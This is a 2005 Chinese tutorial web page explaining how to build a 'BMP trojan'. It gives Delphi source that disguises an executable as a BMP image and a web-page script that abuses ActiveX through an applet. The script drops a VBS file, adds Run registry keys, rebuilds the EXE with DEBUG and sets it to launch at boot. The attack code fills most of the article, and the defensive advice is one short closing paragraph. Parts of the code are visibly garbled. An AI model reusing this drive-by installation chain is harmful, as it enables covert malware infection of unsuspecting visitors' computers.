庞大资源库的计算机教程网站!
设为首页
加入收藏
总编信箱
投稿或申请专栏请先 [登 陆]
首页 操作系统 程序设计 图形图像 媒体动画 机械电子 WEB开发 数 据 库 办公系列 路由技术 网络原理 网络应用
认证考试 安全技术
首页>安全技术>黑客攻防>安全初步>正文
资料搜索
Google搜索
Google
返回上级列表

推荐文章

快速保存网页中所有图片的方法
Windows中让光驱巧妙“隐身”技
防范非法用户入侵Win 2000/XP系
两款比较典型的ASP木马防范方法
有关表格边框的css语法整理
Windows XP中可以被禁用的服务
SQL Server导出导入数据方法
Javascript所有对象的属性的获
网页(HTML)中的特殊字符
与篮球共舞,尽显模式本色
QQ病毒的手工清除方法
Photoshop为极品美女打造性感睫
天衣无缝:IIS与PHP水火也相容
SQL Server存储过程编写和优化

BMP木马的实现及防范

 作者:本站收集   日期:2005-4-29
字号选择〖 〗/ 双击滚屏 单击停止   
BMP木马的实现及防范

首先说明这不是什么新的东西。何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行。

   然而BMP木马就不同,它把一个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,
再利用网页中的javascript脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录。再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中,在下一次开机时执行。但是这种技术只能在9X下发挥作用,对于2K,XP来说是无能为力了。

   看上去好象很复杂,下面我们一步一步来:

   1) EXE变BMP的方法。

   大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽,位数,文件大小,数据区长度,我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,IE是不会下载的,转换代码如下:

   program exe2bmp;

   uses Windows,SysUtils;

   var len,row,col,fs: DWORD;buffer: array[0……255]of char;fd: WIN32_FIND_DATA;h,hw: THandle;

   begin if (ParamStr(1)<>'') and(ParamStr(2)<>'') then begin //如果运行后没有两个参数则退出if FileExists(ParamStr(1)) then begin FindFirstFile(Pchar(ParamStr(1)),fd);fs:=fd.nFileSizeLow;col := 4;while true do begin if (fs mod 12)=0 then begin len:=fs;end else len:=fs+12-(fs mod 12);row := len div col div3;ifrow>colthenbegincol:=col+4;endelseBreak;end;FillChar(buffer,256,0);{一下为BMP文件头数据}Buffer[0]:='B';Buffer[1]:='M';PDWORD(@buffer[18])":=col;PDWORD(@buffer[22])":=row;PDWORD(@buffer[34])":=len;PDWORD(@buffer[2])":=len+54;PDWORD(@buffer[10])":=54;PDWORD(@buffer[14])":=40;PWORD(@buffer[26])":=1;PWORD(@buffer[28])":=24;{写入文件} hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);WriteFile(hw,buffer,54,col,0);repeat ReadFile(h,buffer,256,col,0);WriteFile(hw,buffer,col,col,0);untilcol<>256;WriteFile(hw,buffer,len-fs,col,0);CloseHandle(h);CloseHandle(hw);end;end.

   以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件。大家打开MSDOS方式,输入exe2bmp myexe.exe mybmp.bmp回车就可以把第二个参数所指定的EXE文件转换成BMP格式。接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调。所以大家放在网页上最好用这样的格式

   以下是放在网页上的脚本document.write(' ');function docsave()
   < BR>  {a=document.applets[0];a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');a.createInstance();wsh=a.GetObject();a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');a.createInstance();fso=a.GetObject();var winsys=fso.GetSpecialFolder(1);var vbs=winsys+'\s.vbs';wsh.RegWrite('HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs','wscript '+'"'+vbs+'" ');var st=fso.CreateTextFile(vbs,true);st.WriteLine('Option Explicit');st.WriteLine('Dim FSO,WSH,CACHE,str');st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")');st.WriteLine('Set WSH = CreateObject("WScript.Shell")');st.WriteLine('CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")');st.WriteLine('wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")');st.WriteLine ('wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"');st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"');st.WriteLine('WScript.Quit()');st.WriteLine('Function SearchBMPFile(Folder,fname)');st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');st.WriteLine(' str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname');st.WriteLine(' if FSO.FileExists(str) then');st.WriteLine(' tmp=fso.GetSpecialFolder(2) & " \"' );st.WriteLine(' winsys=fso.GetSpecialFolder(1) & " \"' );st.WriteLine(' set File=FSO.GetFile(str)');st.WriteLine(' File.Copy(tmp & "tmp.dat")');st.WriteLine(' File.Delete');st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');st.WriteLine(' Lt.WriteLine("rbx")');st.WriteLine(' Lt.WriteLine("0")');st.WriteLine(' Lt.WriteLine("rcx")');st.WriteLine(' Lt.WriteLine("1000")');st.WriteLine(' Lt.WriteLine("w136")');st.WriteLine(' Lt.WriteLine("q")');st.WriteLine(' Lt.Close');st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6');st.WriteLine(' On Error Resume Next ');st.WriteLine(' FSO.GetFile(tmp & "tmp.dat")。Copy(winsys & "tmp.exe")');st.WriteLine(' FSO.GetFile(tmp & "tmp.dat")。Delete');st.WriteLine(' FSO.GetFile(tmp & "tmp.in")。Delete');st.WriteLine(' FSO.GetFile(tmp & "tmp.out")。Delete');st.WriteLine(' end if');st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');st.WriteLine(' For Each SubFolder In Folder.SubFolders');st.WriteLine(' SearchBMPFile SubFolder,fname');st.WriteLine(' Next');st.WriteLine(' End If');st.WriteLine('End Function');st.Close();} setTimeout('docsave()',1000);

   把该脚本保存为"js.js",在网页中插入:

   该脚本主要会在本地机器的SYSTEM目录下生成一个“S.VBS”文件,该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。

   “S.VBS”文件主要内容如下:

   Option Explicit Dim FSO,WSH,CACHE,str Set FSO = CreateObject("Scripting.FileSystemObject")

   Set WSH = CreateObject("WScript.Shell")

   CACHE=wsh.RegRead("HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShellFoldersCache")

   wsh.RegDelete("HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs")

   wsh.RegWrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRun mp","tmp.exe" SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp" WScript.Quit()

   Function SearchBMPFile(Folder,fname)

   Dim SubFolder,File,Lt,tmp,winsys '从临时文件夹中查找目标BMP图片str=FSO.GetParentFolderName(folder) & "" & folder.name & "" & fname if FSO.FileExists(str) then tmp=fso.GetSpecialFolder(2) & "" winsys=fso.GetSpecialFolder(1) & "" set File=FSO.GetFile(str)

   File.Copy(tmp & "tmp.dat")

   File.Delete '生成一个DEBUG脚本set Lt=FSO.CreateTextFile(tmp & "tmp.in")

   Lt.WriteLine("rbx")

   Lt.WriteLine("0")

   Lt.WriteLine("rcx")

   '下面一行的1000是十六进制,换回十进制是4096(该数字是你的EXE文件的大小)

   Lt.WriteLine("1000")

   Lt.WriteLine("w136")

   Lt.WriteLine("q")

   Lt.Close WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6 On Error Resume Next FSO.GetFile(tmp & "tmp.dat")。Copy(winsys & "tmp.exe")

   FSO.GetFile(tmp & "tmp.dat")。Delete FSO.GetFile(tmp & "tmp.in")。Delete FSO.GetFile(tmp & "tmp.out")。Delete end if If Folder.SubFolders.Count <> 0 Then For Each SubFolder In Folder.SubFolders SearchBMPFile SubFolder,fname Next End If End Function

   这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中。后面的脚本再把它复制到SYSTEM的目录下。这个被还原的EXE文件会在下次重起的时候运行。这就是BMP木马的基本实现过程。

   防范方法: 最简单,删除或改名wscrpit.exe文件和DEBUG 文件; 安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了。在条件允许的情况下,安装WIN2K SP3,尽量避免去一些不名来历的网站。
上一篇:隐藏IP就这么简单    下一篇:手机病毒的分类及其防范措施  
[发送给好友]  [关闭窗口]  [返回顶部]   转载请注明来源:www.it00.com   
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
责任编辑: 原点 投稿作者: 本站收集
信息来源: 网络 录入时间: 2005-4-29
关于我们 - 广告服务 - 版权申明 - 网站地图 - 联系方式 - 总编信箱 - 会员投稿